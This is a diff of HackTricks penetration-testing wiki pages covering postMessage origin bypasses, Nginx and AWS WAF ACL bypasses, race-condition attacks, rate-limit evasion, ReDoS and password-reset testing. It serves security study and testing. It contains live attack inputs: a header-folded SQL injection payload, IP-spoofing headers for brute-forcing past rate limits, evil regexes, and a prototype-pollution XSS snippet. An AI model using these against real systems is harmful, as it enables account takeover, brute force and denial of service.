* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)

View file

@ -16,13 +16,13 @@ Other ways to support HackTricks:
It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections:
<figure><img src="../.gitbook/assets/image (29).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (29).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (23).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
**OTP Bypass / Bruteforce** would work like this:
<figure><img src="../.gitbook/assets/image (3) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (2).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
## References

View file

@ -103,44 +103,49 @@ In order to **find event listeners** in the current page you can:
### Origin check bypasses
* **`event.isTrusted`** is True when the event was generated by a user action. Not really bypasseable if correctly in place, but worth mentioning.
* If **`indexOf()`** is used to **check** the **origin** of the PostMessage event, remember that it can be easily bypassed like in the following example:
- **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
- The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
* If **`search()`** is used to **validate** the **origin** could be insecure. According to the docs of `String.prototype.search()`, the method **takes a regular repression** object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regex.\
In regular expression, **a dot (.) is treated as a wildcard**. An attacker can take advantage of it and **use** a **special domain** instead of the official one to bypass the validation, like in:&#x20;
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
* Just like in the previous example, **`match()`** also checks a **regex**, so if the regex is malformed it could be **bypasseable**.
* If **`escapeHtml`** function is used, the function does not create a `new` escaped object, instead it **overwrites properties** of the existing object. This means that if we are able to create an object with a controlled property that does not respond to `hasOwnProperty` it will not be escaped.
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
```javascript
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
- The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
`File` object is perfect for this exploit as it has a read-only `name` property which is used by our template and will bypass `escapeHtml` function.
- The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
- Expected Failure:
```javascript
result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassing the escape:
```javascript
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
- The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
### e.origin == window.origin bypass
When a page is embedded in a **sandboxed iframe** via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` the **origin** of that **iframe** will be **`null`**.
When embedding a web page within a **sandboxed iframe** using %%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%, it's crucial to understand that the iframe's origin will be set to `null`. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
When the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
Therefore, if you open a **sandboxed iframe** allowing popups, and then you **opens a popup** from inside the iframe, and **send a postMessage** from the iframe **to the popup**, both origins are null so: **`e.origin == window.origin == null`**
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
For more information **read**:
@ -189,7 +194,7 @@ In the following page you can see how you could steal a **sensitive postmessage
### Stealing message by modifying iframe location
if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -203,7 +208,7 @@ A couple of **very good explained XSS though `postMessage`** can be found in [ht
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
```markup
```html
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>

View file

@ -14,110 +14,7 @@ Other ways to support HackTricks:
</details>
## Bypassing Nginx ACL Rules <a href="#heading-bypassing-nginx-acl-rules-with-nodejs" id="heading-bypassing-nginx-acl-rules-with-nodejs"></a>
Nginx restriction example:
```plaintext
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
```
### NodeJS
<figure><img src="../.gitbook/assets/image (713).png" alt=""><figcaption></figcaption></figure>
* As Nginx includes the character `\xa0` as part of the pathname, the ACL rule for the `/admin` URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
* When the URI `/admin\x0a` is received by the Node.js server, the character `\xa0` will be removed, allowing successful retrieval of the `/admin` endpoint.
| Nginx Version | **Node.js Bypass Characters** |
| ------------- | ----------------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### Flask
Flask removes the characters `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`, and `\x09` from the URL path, but NGINX doesn't.
<figure><img src="../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
| Nginx Version | **Flask Bypass Characters** |
| ------------- | -------------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### Spring Boot <a href="#heading-bypassing-nginx-acl-rules-with-spring-boot" id="heading-bypassing-nginx-acl-rules-with-spring-boot"></a>
Below, you will find a demonstration of how ACL protection can be circumvented by adding the character `\x09` or at the end of the pathname:
<figure><img src="../.gitbook/assets/image (715).png" alt=""><figcaption></figcaption></figure>
| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### PHP-FPM <a href="#heading-bypassing-nginx-acl-rules-with-php-fpm-integration" id="heading-bypassing-nginx-acl-rules-with-php-fpm-integration"></a>
Let's consider the following Nginx FPM configuration:
```plaintext
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
It's possible to bypass it accessing `/admin.php/index.php`:
<figure><img src="../.gitbook/assets/image (716).png" alt=""><figcaption></figcaption></figure>
### How to prevent <a href="#heading-how-to-prevent" id="heading-how-to-prevent"></a>
To prevent these issues, you must use the `~` expression Instead of the `=` expression on Nginx ACL rules, for example:
COPYCOPY
```plaintext
location ~* ^/admin {
deny all;
}
```
## Bypassing AWS WAF ACL With Line Folding <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
```
## References
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
Check the following page to see how to **bypass WAFs abusing HTTP parsers inconsistencies: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
<details>

View file

@ -22,71 +22,43 @@ Other ways to support HackTricks:
</details>
## Exploiting RC
The main problem of abusing RC's is that you need the requests to be processed in parallel with a very short time difference(usually >1ms). In the following section, different solutions are proposed for making this possible.
<figure><img src="../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Single-packet attack (HTTP/2) / Last-byte sync (HTTP/1.1)
HTTP2 allows to send **2 requests in a single TCP connetion** (whereas in HTTP/1.1 they have to be sequential).\
The use of a single TCP packet completely **eliminates the effect of network jitter**, so this clearly has potential for race condition attacks too. However, **two requests isn't enough for a reliable race attack** thanks to **server-side jitter** - variations in the application's request-processing time caused by uncontrollable variables like CPU contention.
But, using HTTP/1.1 '**last-byte sync**' technique it's possible to pre-send the bulk of the data withholding a tiny fragment from each request and then 'complete' **20-30 requests with a single TCP packet**.
To **pre-send the bulk of each request**:
* If the request has no body, send all the headers, but don't set the END\_STREAM flag. Withhold an empty data frame with END\_STREAM set.
* If the request has a body, send the headers and all the body data except the final byte and the END\_STREAM flag. Withhold a data frame containing the final byte.
Next, **prepare to send the final frames**:
* Wait for 100ms to ensure the initial frames have been sent.
* Ensure TCP\_NODELAY is disabled - it's crucial that Nagle's algorithm batches the final frames.
* Send a ping packet to warm the local connection. If you don't do this, the OS network stack will place the first final-frame in a separate packet.
Finally, send the withheld frames. You should be able to verify that they landed in a single packet using Wireshark.
{% hint style="info" %}
Note that It **doesn't work for static files** on certain servers but as static files aren't relevant to race condition attacks. But static files are irrelevant for RC attacks.
{% endhint %}
Using this technique, you can make 20-30 requests arrive at the server simultaneously - regardless of network jitter:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Adapting to the target architecture**
It's worth noting that many applications sit behind a front-end server, and these may decide to forward some requests over existing connections to the back-end, and to create fresh connections for others.
As a result, it's important not to attribute inconsistent request timing to application behaviour such as locking mechanisms that only allow a single thread to access a resource at once. Also, front-end request routing is often done on a per-connection basis, so you may be able to smooth request timing by performing server-side connection warming - **sending a few inconsequential requests down your connection before performing the attack** (this is just sending several request before starting the actual attack)).
#### Session-based locking mechanisms <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
Some frameworks attempt to prevent accidental data corruption by using some form of **request locking**. For example, **PHP's native session handler** module only processes **one request per session at a time**.
It's extremely important to spot this kind of behaviour as it can otherwise mask trivially exploitable vulnerabilities. If you notice that all of your requests are being processed sequentially, try sending each of them using a different session token.
#### **Abusing rate or resource limits**
If connection warming doesn't make any difference, there are various solutions to this problem.
Using Turbo Intruder, you can introduce a short client-side delay. However, as this involves splitting your actual attack requests across multiple TCP packets, you won't be able to use the single-packet attack technique. As a result, on high-jitter targets, the attack is unlikely to work reliably regardless of what delay you set.
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Instead, you may be able to solve this problem by abusing a common security feature.
Web servers often **delay the processing of requests if too many are sent too quickly**. By sending a large number of dummy requests to intentionally trigger the rate or resource limit, you may be able to cause a suitable server-side delay. This makes the single-packet attack viable even when delayed execution is required.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
{% hint style="warning" %}
For more information about this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
#### Attack Examples
## Enhancing Race Condition Attacks
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with **very little difference in their processing times—ideally, less than 1ms**.
Here you can find some techniques for Synchronizing Requests:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
- **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
**Preparation for Last-Byte Sync** involves:
1. Sending headers and body data minus the final byte without ending the stream.
2. Pausing for 100ms post-initial send.
3. Disabling TCP_NODELAY to utilize Nagle's algorithm for batching final frames.
4. Pinging to warm up the connection.
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
### Adapting to Server Architecture
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
#### Handling Session-Based Locking
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
#### Overcoming Rate or Resource Limits
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
## Attack Examples
* **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
@ -218,59 +190,38 @@ There are many variations of this kind of attack, including:
### **Hidden substates**
Other most complicated RC will exploit **substates in the machine state** that could allow an attacker to **abuse** states he was **never meant to have access** to but there is a **small window** for the attacker to access it.
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **unintended machine substates**. Heres how to approach this:
1. **Predict potential hidden & interesting substates**
1. **Identify Potential Hidden Substates**
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- **Storage**: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- **Action**: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- **Keying**: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
The first step is to identify all the endpoints that either write to it, or read data from it and then use that data for something important. For example, users might be stored in a database table that is modified by registration, profile-edits, password reset initiation, and password reset completion.
2. **Conduct Initial Probing**
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
We can use three key questions to rule out endpoints that are unlikely to cause collisions. For each object and the associated endpoints, ask:
* **How is the state stored?**
Data that's stored in a persistent server-side data structure is ideal for exploitation. Some endpoints store their state entirely client-side, such as password resets that work by emailing a JWT - these can be safely skipped.
Applications will often store some state in the user session. These are often somewhat protected against sub-states - more on that later.
* **Are we editing or appending?**
Operations that edit existing data (such as changing an account's primary email address) have ample collision potential, whereas actions that simply append to existing data (such as adding an additional email address) are unlikely to be vulnerable to anything other than limit-overrun attacks.
* **What's the operation keyed on?**
Most endpoints operate on a specific record, which is looked up using a 'key', such as a username, password reset token, or filename. For a successful attack, we need two operations that use the same key. For example, picture two plausible password reset implementations:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2. **Probe for clues**
At this point it's time to **launch some RCs attacks** over the potential interesting endpoints to try to find unexpected results compare to the regular ones. **Any deviation from the expected response** such as a change in one or more responses, or a second-order effect like different email contents or a visible change in your session could be a clue indicating something is wrong.
3. **Prove the concept**
The final step is to **prove the concept and turn it into a viable attack**.
When you send a batch of requests, you may find that an early request pair triggers a vulnerable end-state, but later requests overwrite/invalidate it and the final state is unexploitable. In this scenario, you'll want to eliminate all unnecessary requests - two should be sufficient for exploiting most vulnerabilities. However, dropping to two requests will make the attack more timing-sensitive, so you may need to retry the attack multiple times or automate it.
3. **Demonstrate the Vulnerability**
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
### Time Sensitive Attacks
Sometimes you may not find race conditions, but the **techniques for delivering requests with precise timing** can still reveal the presence of other vulnerabilities.
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
One such example is when **high-resolution timestamps are used instead of cryptographically** secure random strings to generate security tokens.
**To Exploit:**
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
Consider a **password reset token that is only randomized using a timestamp**. In this case, it might be possible to **trigger two password resets for two different users**, which both use the **same token**. All you need to do is time the requests so that they generate the same timestamp.
**Example:**
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
{% hint style="warning" %}
To confirm for example the previous situation you could just ask for **2 reset password tokens at the same time** (using single packet attack) and check if they are the **same**.
{% endhint %}
**Check this [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) to try this.**
Check the [**example in this lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
## Hidden substates case studies
### Pay & add an Item
[**Check this lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### Confirm other emails
@ -278,21 +229,21 @@ The idea is to **verify an email address and change it to a different one at the
### Change email to 2 emails addresses Cookie based
According to [**this writeup**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
You can also check [**this lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) to learn about this.
**Check this [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) to try this.**
### Hidden Database states / Confirmation Bypass
If **2 different write**s are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email.
Check [**this lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) to check an example.
**Check this [PortSwigger Lab](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) to try this.**
### Bypass 2FA
The following pseudo-code demonstrates how a website could be vulnerable to a race variation of this attack:
The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python
session['userid'] = user.userid
@ -302,12 +253,10 @@ if user.mfa_enabled:
# redirect browser to MFA code entry form
```
As you can see, this is in fact a **multi-step sequence within the span of a single request**. Most importantly, it transitions through a sub-state in which the **user temporarily has a valid logged-in** session, **but MFA isn't yet being enforced**. An attacker could potentially exploit this by sending a login request along with a request to a sensitive, authenticated endpoint.
### OAuth2 eternal persistence
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkdin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code`

View file

@ -22,17 +22,16 @@ Other ways to support HackTricks:
</details>
### Using similar endpoints
## Rate limit bypass techniques
If you are attacking the `/api/v3/sign-up` endpoint try to perform bruteforce to `/Sing-up`, `/SignUp`, `/singup`...
### Exploring Similar Endpoints
Attempts should be made to perform brute force attacks on variations of the targeted endpoint, such as `/api/v3/sign-up`, including alternatives like `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` etc.
Also try appending to the original endpoint bytes like `%00, %0d%0a, %0d, %0a, %09, %0C, %20`
### Incorporating Blank Characters in Code or Parameters
Inserting blank bytes like `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` into code or parameters can be a useful strategy. For example, adjusting a parameter to `code=1234%0a` allows for extending attempts through variations in input, like adding newline characters to an email address to get around attempt limitations.
### Blank chars in code/params
Try adding some blank byte like `%00, %0d%0a, %0d, %0a, %09, %0C, %20` to the code and/or params. For example `code=1234%0a` or if you are requesting a code for an email and you only have 5 tries, use the 5 tries for `example@email.com`, then for `example@email.com%0a`, then for `example@email.com%0a%0a`, and continue...
### Changing IP origin using headers
### Manipulating IP Origin via Headers
Modifying headers to alter the perceived IP origin can help evade IP-based rate limiting. Headers such as `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, including using multiple instances of `X-Forwarded-For`, can be adjusted to simulate requests from different IPs.
```bash
X-Originating-IP: 127.0.0.1
@ -43,25 +42,27 @@ X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1
#or use double X-Forwared-For header
# Double X-Forwarded-For header example
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
```
If they are limiting to 10 tries per IP, every 10 tries change the IP inside the header.
### Changing Other Headers
Altering other request headers such as the user-agent and cookies is recommended, as these can also be used to identify and track request patterns. Changing these headers can prevent recognition and tracking of the requester's activities.
### Change other headers
### Leveraging API Gateway Behavior
Some API gateways are configured to apply rate limiting based on the combination of endpoint and parameters. By varying the parameter values or adding non-significant parameters to the request, it's possible to circumvent the gateway's rate-limiting logic, making each request appear unique.
For exmple `/resetpwd?someparam=1`.
Try changing the user-agent, the cookies... anything that could be able to identify you.
### Logging into Your Account Before Each Attempt
Logging into an account before each attempt, or every set of attempts, might reset the rate limit counter. This is especially useful when testing login functionalities. Utilizing a Pitchfork attack in tools like Burp Suite, to rotate credentials every few attempts and ensuring follow redirects are marked, can effectively restart rate limit counters.
### Adding extra params to the path
### Utilizing Proxy Networks
Deploying a network of proxies to distribute the requests across multiple IP addresses can effectively bypass IP-based rate limits. By routing traffic through various proxies, each request appears to originate from a different source, diluting the rate limit's effectiveness.
If the limit in in the path `/resetpwd`, try BFing that path, and once the rate limit is reached try `/resetpwd?someparam=1`
### Splitting the Attack Across Different Accounts or Sessions
If the target system applies rate limits on a per-account or per-session basis, distributing the attack or test across multiple accounts or sessions can help in avoiding detection. This approach requires managing multiple identities or session tokens, but can effectively distribute the load to stay within allowable limits.
### Login in your account before each attempt
Maybe if you **login into your account before each attempt** (or each set of X tries), the rate limit is restarted. If you are attacking a login functionality, you can do this in burp using a Pitchfork attack in **setting your credentials every X tries** (and marking follow redirects).
<details>

View file

@ -22,7 +22,7 @@ Other ways to support HackTricks:
* Check varying the email:
* uppsercase
* \+1@
* add some some in the email
* add some dot in the email
* special characters in the email name (%00, %09, %20)
* Put black characters after the email: `test@test.com a`
* victim@gmail.com@attacker.com
@ -55,7 +55,7 @@ In that case you may try to bruteforce credentials.
### Change Email
when registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails.
### More Checks

View file

@ -16,7 +16,8 @@ Other ways to support HackTricks:
# Regular Expression Denial of Service (ReDoS)
The Regular Expression Denial of Service (ReDoS) is a type of Denial of Service attack that **takes advantage of the inefficiencies in regular expression implementations**. Most regular expression engines can encounter extreme situations where they **perform very slowly, often exponentially related to the input size**. By exploiting this, an attacker can cause a program using regular expressions to hang for an extended period of time.
A **Regular Expression Denial of Service (ReDoS)** happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
## The Problematic Regex Naïve Algorithm
@ -25,7 +26,7 @@ The Regular Expression Denial of Service (ReDoS) is a type of Denial of Service
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
An evil regular expression pattern refers to one that can **get stuck on crafted input**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
An evil regular expression pattern is that one that can **get stuck on crafted input causing a DoS**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
* (a+)+
* ([a-zA-Z]+)*
@ -33,7 +34,7 @@ An evil regular expression pattern refers to one that can **get stuck on crafted
* (a|a?)+
* (.*a){x} for x > 10
All the above are susceptible to the input `aaaaaaaaaaaaaaaaaaaaaaaa!` (The minimum input length might change slightly, when using faster or slower machines).
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## ReDoS Payloads
@ -87,6 +88,9 @@ Regexp (a+)*$ took 723 milliseconds.
# References
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
<details>

View file

@ -96,32 +96,27 @@ Stay informed with the newest bug bounties launching and crucial platform update
* Testing whether expired tokens can still be used for password reset.
* **Mitigation Steps**:
- Implement strict token expiration policies and validate token expiry server-side.
## **Brute Force Password Reset Token**
* Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
* **Mitigation Steps**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
## **Brute Force Password Reset Token**
* Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
* **Mitigation Steps**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
## **Try Using Your Token**
* Testing if an attacker's reset token can be used in conjunction with the victim's email.
* **Mitigation Steps**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
* Testing if an attacker's reset token can be used in conjunction with the victim's email.
* **Mitigation Steps**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
## **Session Invalidation in Logout/Password Reset**
* Ensuring that sessions are invalidated when a user logs out or resets their password.
* **Mitigation Steps**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
* Ensuring that sessions are invalidated when a user logs out or resets their password.
* **Mitigation Steps**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
## **Reset Token Expiration Time**
* Reset tokens should have an expiration time after which they become invalid.
* **Mitigation Steps**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
## **Extra Checks**
* Additional methods to test for vulnerabilities, such as using special email formats or long passwords to cause potential Denial of Service (DoS).
* **Mitigation Steps**:
